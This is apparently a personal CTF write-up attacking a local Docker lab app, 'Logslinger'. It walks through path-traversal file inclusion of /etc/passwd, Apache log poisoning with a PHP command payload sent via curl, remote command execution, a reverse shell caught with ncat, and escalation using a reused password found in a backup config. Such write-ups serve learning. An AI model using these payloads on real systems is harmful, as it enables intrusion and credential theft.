July 16, 2026
From a URL Parameter to Full System Access: Logslinger CTF
Introduction
By Abdullah
6 min read
Introduction
It started with a website that had no login page, no upload form, and nothing that looked obviously broken. It ended with a full shell and a captured flag in under an hour. Here is everything that happened in between.
This type of challenge is called a CTF, short for Capture the Flag. It is a hacking exercise where you try to break into a practice system and find a hidden file called a flag. Everything here runs on a dummy machine built only for learning so it is completely legal.
What Was I Trying to Hack?
The challenge was a Docker container a small fake computer running inside my real one. It had one thing running:
- A website on port 8080
My goals were simple:
- Get shell access to the container
- Find and read a file called
user.txtbelonging to a user called mccarthy
Initial Steps
First I loaded the Docker image and ran the container:
bash
docker load -i ./logslinger-amd64.tar.gz
docker run -d \
--name logslinger \
--platform linux/amd64 \
-p 127.0.0.1:8080:80 \
logslingerdocker load -i ./logslinger-amd64.tar.gz
docker run -d \
--name logslinger \
--platform linux/amd64 \
-p 127.0.0.1:8080:80 \
logslinger
Then I opened the browser and visited http://127.0.0.1:8080/ to see what I was dealing with.
Step 1: Looking at the Target (Reconnaissance)
The website was called Logslinger Internal Log Viewer. It had three nav links at the top: welcome, changelog, and status.
I clicked all three links. Every single one gave an error saying "Could not load page." But what caught my attention was something written right on the homepage:
"Log viewer runs off the ?page= parameter."
The site told me exactly how it loads content. Every link used a ?page= parameter in the URL like ?page=welcome and ?page=status. That one line was the biggest hint I could have asked for.
Step 2: Finding the Vulnerability (LFI)
A ?page= parameter that loads content is a classic setup for a vulnerability called LFI — Local File Inclusion. It means the server takes whatever you put in that parameter and tries to load it as a file. If the developer did not add restrictions you can ask it to load any file on the system — not just the pages they intended.
I tested it by changing the URL to:
http://127.0.0.1:8080/?page=../../../../etc/passwdhttp://127.0.0.1:8080/?page=../../../../etc/passwdThe ../../../../ keeps going up one folder at a time until you reach the root of the server. Then /etc/passwd is a real file on every Linux machine that lists all the users on the system.
The whole file appeared on the screen. At the very end I found:
mccarthy:x:1000:1000:/home/mccarthy:/bin/bashmccarthy:x:1000:1000:/home/mccarthy:/bin/bash
Step 3: Turning LFI Into Code Execution (Log Poisoning)
Reading files is useful but I needed to actually run commands on the server. There is a technique called log poisoning that makes this possible.
Apache keeps a log of every request made to the website. It records things like what page you visited and what browser you used. Since I could read any file via LFI I could also read this log. And here is the trick if I could get PHP code written into that log then when I read it the server would execute it.
I went to the terminal and sent a request where the browser name was actually PHP code:
bash
curl -A "<?php system(\$_GET['cmd'])curl -A "<?php system(\$_GET['cmd'])
Step 4: Running Commands on the Server (RCE)
Now I visited this URL in the browser:
http://127.0.0.1:8080/?page=../../../../var/log/apache2/access.log&cmd=idhttp://127.0.0.1:8080/?page=../../../../var/log/apache2/access.log&cmd=idThe server loaded the log file via LFI, found my PHP code inside and executed it. At the end of all the log text I saw:
uid=33(www-data) gid=33(www-data) groups=33(www-data)uid=33(www-data) gid=33(www-data) groups=33(www-data)I was running commands on the server through my browser URL bar. This is called Remote Code Execution and it meant I was very close to getting a shell.
Step 5: Getting a Real Terminal (Reverse Shell)
Running commands through the browser one at a time is useful but a reverse shell gives you a proper interactive terminal just like SSH.
I started a listener on my Mac:
bash
ncat -lvnp 4444ncat -lvnp 4444Then I triggered the reverse shell through the browser. My terminal lit up with a connection coming in:
www-data@505c2d03556e:/var/www/html$www-data@505c2d03556e:/var/www/html$
I was officially inside the machine. But as www-data which is a low privilege web server account. It could not read mccarthy's files. Permission denied. I needed to go higher.
Step 6: Finding Hidden Credentials (Privilege Escalation)
I listed the files in the web folder and one file stood out immediately: config.php.bak. The .bak extension means it is a backup file. Developers create these when editing something and want to keep a copy. Then they forget to delete them. And since it was sitting in the web folder it was completely readable by anyone.
I opened it and found this comment written by the developer themselves:
// NOTE TO SELF — same password I use for my box login, don't forget to change it.// NOTE TO SELF — same password I use for my box login, don't forget to change it.And the password sitting right below:
'pass' => 'iloveyou2''pass' => 'iloveyou2'
The developer used their personal Linux login password as the database password and left the backup file sitting in the web root. This is called credential reuse and it is one of the most common real world mistakes developers make.
Step 7: Capturing the Flag
I upgraded my shell to get a proper terminal then switched to mccarthy using the password I found:
bash
su mccarthybsu mccarthybPassword: iloveyou2
It worked. The prompt changed to mccarthy@505c2d03556e and I read the flag:
bash
cat /home/mccarthy/user.tx
139b04a050771058b117bf8f1a2e054acat /home/mccarthy/user.tx
139b04a050771058b117bf8f1a2e054a
Flag captured.
Summary: What Vulnerabilities Did I Use?
StageVulnerabilityWhat It Means1Information DisclosureSite revealed it uses the ?page= parameter2Local File Inclusion?page= loaded any file on the server3Log PoisoningPHP code injected into the Apache access log4Remote Code ExecutionPoisoned log executed commands on the server5Credential ReuseDB password was the same as the Linux login password
What I Learned
This challenge taught me that LFI is not just a file reader. On its own it reads files. But combine it with log poisoning, and it becomes a full attack chain leading to a shell.
The developer made two mistakes that made this all possible. The first was not sanitizing the ?page= parameter. The second was reusing a personal password and leaving a backup config file sitting in the web root where anyone could read it.
These are not exotic mistakes. They show up in real bug bounty reports all the time. Understanding how attackers exploit them is what helps us build systems that do not have them.
Tools I Used
- Browser — for LFI testing and triggering RCE through the URL
- curl — for log poisoning through the User-Agent header
- ncat — for catching the reverse shell connection
Quick Summary
I was given a Docker container running a log viewer web app called Logslinger. The site had a ?page= parameter that loaded files without any restrictions, which is a classic LFI vulnerability. I used it to read /etc/passwd and confirmed a user called mccarthy existed on the machine. Then I poisoned the Apache access log by sending a curl request with PHP code disguised as a browser name. When I included the log via LFI the server executed the PHP code, and I had remote code execution. I caught a reverse shell using ncat and landed inside the machine as www-data. I found a backup config file called config.php.bak in the web folder with a developer note saying they reused the same password for their Linux account. I used that password to switch to mccarthy and read the flag.
Flag: 139b04a050771058b117bf8f1a2e054a
This writeup is for educational purposes only. This challenge was set up by my supervisor on a dummy machine built purely for learning. Always get proper permission before testing any system. Happy hacking!